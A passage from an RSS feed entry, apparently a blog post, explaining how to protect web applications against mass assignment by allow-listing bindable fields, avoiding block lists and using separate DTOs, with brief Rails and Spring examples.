MVC:</strong> <em>Autobinding</em></li><li><strong>PHP:</strong> <em>Object Injection</em></li></ul><p>The name changes. The mechanism does not.</p><h3>How to Protect Your Application</h3><p>The fix is straightforward. You do not need to abandon frameworks — you need to define boundaries.</p><p><strong>1. The Allow List (Safe)</strong><br>Define explicitly which fields are allowed to be mass-assigned. If a field is not on the list, the framework rejects it.</p><ul><li><em>Rails:</em> params.require(:user).permit(:username, :email, :password)</li><li><em>Spring:</em> @InitBinder with setAllowedFields()</li></ul><p><strong>2. The Block List (Risky)</strong><br>Define which fields are <em>forbidden</em>. This is less safe because you may forget to block a new sensitive field added six months from now.</p><p><strong>3. Separate View Models (DTOs)</strong><br>Instead of binding HTTP requests directly to your database entities, bind them to a Data Transfer Object (DTO) that contains <em>only</em> the fields the user is supposed to edit. Then map the DTO to the entity.</p><h3>The Core Problem: Trusting the Request</h3><p>Mass assignment is a failure of <strong>implicit trust</strong>.</p><p>As developers, we sometimes think: <em>“The user cannot touch that field because I did not put it in the form.”</em></p><p>But the HTTP request is just data. The user can send any key-value pair they want.</p><p>The field was never hidden. It was always visible to anyone who looked at the request.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e62b45dd7c52" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>